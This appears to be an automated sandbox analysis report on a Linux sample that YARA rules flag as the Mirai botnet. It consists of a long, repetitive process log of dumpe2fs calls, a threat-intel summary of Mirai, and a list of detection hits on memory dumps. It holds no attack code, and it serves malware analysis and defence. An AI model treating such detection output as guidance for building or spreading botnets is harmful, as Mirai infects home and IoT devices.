dumpe2fs (PID: 6378, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6400, Parent: 803)

dumpe2fs (PID: 6400, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6440, Parent: 803)

dumpe2fs (PID: 6440, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6474, Parent: 803)

dumpe2fs (PID: 6474, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6512, Parent: 803)

dumpe2fs (PID: 6512, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6548, Parent: 803)

dumpe2fs (PID: 6548, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6586, Parent: 803)

dumpe2fs (PID: 6586, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6621, Parent: 803)

dumpe2fs (PID: 6621, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6658, Parent: 803)

dumpe2fs (PID: 6658, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6695, Parent: 803)

dumpe2fs (PID: 6695, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6731, Parent: 803)

dumpe2fs (PID: 6731, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6765, Parent: 803)

dumpe2fs (PID: 6765, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6804, Parent: 803)

dumpe2fs (PID: 6804, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6837, Parent: 803)

dumpe2fs (PID: 6837, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6876, Parent: 803)

dumpe2fs (PID: 6876, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6911, Parent: 803)

dumpe2fs (PID: 6911, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6948, Parent: 803)

dumpe2fs (PID: 6948, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6972, Parent: 803)

dumpe2fs (PID: 6972, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7010, Parent: 803)

dumpe2fs (PID: 7010, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7046, Parent: 803)

dumpe2fs (PID: 7046, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7081, Parent: 803)

dumpe2fs (PID: 7081, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7116, Parent: 803)

dumpe2fs (PID: 7116, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7153, Parent: 803)

dumpe2fs (PID: 7153, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7188, Parent: 803)

dumpe2fs (PID: 7188, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7229, Parent: 803)

dumpe2fs (PID: 7229, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7264, Parent: 803)

dumpe2fs (PID: 7264, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7299, Parent: 803)

dumpe2fs (PID: 7299, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7335, Parent: 803)

dumpe2fs (PID: 7335, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7374, Parent: 803)

dumpe2fs (PID: 7374, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7406, Parent: 803)

dumpe2fs (PID: 7406, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7431, Parent: 803)

dumpe2fs (PID: 7431, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7466, Parent: 803)

dumpe2fs (PID: 7466, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7505, Parent: 803)

dumpe2fs (PID: 7505, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7540, Parent: 803)

dumpe2fs (PID: 7540, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7579, Parent: 803)

dumpe2fs (PID: 7579, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7613, Parent: 803)

dumpe2fs (PID: 7613, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7651, Parent: 803)

dumpe2fs (PID: 7651, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7673, Parent: 803)

dumpe2fs (PID: 7673, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7710, Parent: 803)

dumpe2fs (PID: 7710, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7747, Parent: 803)

dumpe2fs (PID: 7747, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7784, Parent: 803)

dumpe2fs (PID: 7784, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7819, Parent: 803)

dumpe2fs (PID: 7819, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7857, Parent: 803)

dumpe2fs (PID: 7857, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7894, Parent: 803)

dumpe2fs (PID: 7894, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7944, Parent: 803)

dumpe2fs (PID: 7944, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 7979, Parent: 803)

dumpe2fs (PID: 7979, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8015, Parent: 803)

dumpe2fs (PID: 8015, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8052, Parent: 803)

dumpe2fs (PID: 8052, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8087, Parent: 803)

dumpe2fs (PID: 8087, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8126, Parent: 803)

dumpe2fs (PID: 8126, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8162, Parent: 803)

dumpe2fs (PID: 8162, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8196, Parent: 803)

dumpe2fs (PID: 8196, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8233, Parent: 803)

dumpe2fs (PID: 8233, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8269, Parent: 803)

dumpe2fs (PID: 8269, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8309, Parent: 803)

dumpe2fs (PID: 8309, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8344, Parent: 803)

dumpe2fs (PID: 8344, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8368, Parent: 803)

dumpe2fs (PID: 8368, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8416, Parent: 803)

dumpe2fs (PID: 8416, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8439, Parent: 803)

dumpe2fs (PID: 8439, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8488, Parent: 803)

dumpe2fs (PID: 8488, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8515, Parent: 803)

dumpe2fs (PID: 8515, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8548, Parent: 803)

dumpe2fs (PID: 8548, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8585, Parent: 803)

dumpe2fs (PID: 8585, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8612, Parent: 803)

dumpe2fs (PID: 8612, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8650, Parent: 803)

dumpe2fs (PID: 8650, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8676, Parent: 803)

dumpe2fs (PID: 8676, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8698, Parent: 803)

dumpe2fs (PID: 8698, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8732, Parent: 803)

dumpe2fs (PID: 8732, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8758, Parent: 803)

dumpe2fs (PID: 8758, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8794, Parent: 803)

dumpe2fs (PID: 8794, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8819, Parent: 803)

dumpe2fs (PID: 8819, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8869, Parent: 803)

dumpe2fs (PID: 8869, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8891, Parent: 803)

dumpe2fs (PID: 8891, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8932, Parent: 803)

dumpe2fs (PID: 8932, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 8957, Parent: 803)

dumpe2fs (PID: 8957, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9003, Parent: 803)

dumpe2fs (PID: 9003, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9024, Parent: 803)

dumpe2fs (PID: 9024, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9073, Parent: 803)

dumpe2fs (PID: 9073, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9101, Parent: 803)

dumpe2fs (PID: 9101, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9148, Parent: 803)

dumpe2fs (PID: 9148, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9173, Parent: 803)

dumpe2fs (PID: 9173, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9220, Parent: 803)

dumpe2fs (PID: 9220, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9245, Parent: 803)

dumpe2fs (PID: 9245, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9294, Parent: 803)

dumpe2fs (PID: 9294, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9321, Parent: 803)

dumpe2fs (PID: 9321, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9367, Parent: 803)

dumpe2fs (PID: 9367, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9392, Parent: 803)

dumpe2fs (PID: 9392, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9438, Parent: 803)

dumpe2fs (PID: 9438, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9463, Parent: 803)

dumpe2fs (PID: 9463, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9512, Parent: 803)

dumpe2fs (PID: 9512, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9537, Parent: 803)

dumpe2fs (PID: 9537, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9584, Parent: 803)

dumpe2fs (PID: 9584, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9610, Parent: 803)

dumpe2fs (PID: 9610, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9658, Parent: 803)

dumpe2fs (PID: 9658, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9695, Parent: 803)

dumpe2fs (PID: 9695, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9730, Parent: 803)

dumpe2fs (PID: 9730, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9756, Parent: 803)

dumpe2fs (PID: 9756, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9803, Parent: 803)

dumpe2fs (PID: 9803, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9840, Parent: 803)

dumpe2fs (PID: 9840, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9876, Parent: 803)

dumpe2fs (PID: 9876, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9901, Parent: 803)

dumpe2fs (PID: 9901, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9949, Parent: 803)

dumpe2fs (PID: 9949, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 9981, Parent: 803)

dumpe2fs (PID: 9981, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 10023, Parent: 803)

dumpe2fs (PID: 10023, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 10049, Parent: 803)

dumpe2fs (PID: 10049, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 10095, Parent: 803)

dumpe2fs (PID: 10095, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 10132, Parent: 803)

dumpe2fs (PID: 10132, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 10168, Parent: 803)

dumpe2fs (PID: 10168, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 10202, Parent: 803)

dumpe2fs (PID: 10202, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 10245, Parent: 803)

dumpe2fs (PID: 10245, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 10279, Parent: 803)

dumpe2fs (PID: 10279, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 10315, Parent: 803)

dumpe2fs (PID: 10315, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 10338, Parent: 803)

dumpe2fs (PID: 10338, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 10388, Parent: 803)

dumpe2fs (PID: 10388, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author
oc_x86_64.elf	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
oc_x86_64.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
oc_x86_64.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5880.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5880.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5880.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9968.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
9968.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9968.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5490.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5490.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5490.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
8006.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
8006.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
8006.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
8564.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
8564.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
8564.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7928.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7928.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7928.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9017.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
9017.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9017.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
8224.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
8224.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
8224.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7775.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7775.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7775.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6647.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6647.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6647.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7918.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7918.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7918.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7919.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7919.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7919.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5778.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5778.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5778.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9826.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
9826.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9826.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5810.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5810.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5810.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9892.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
9892.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9892.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
8358.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
8358.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
8358.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6501.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6501.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6501.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
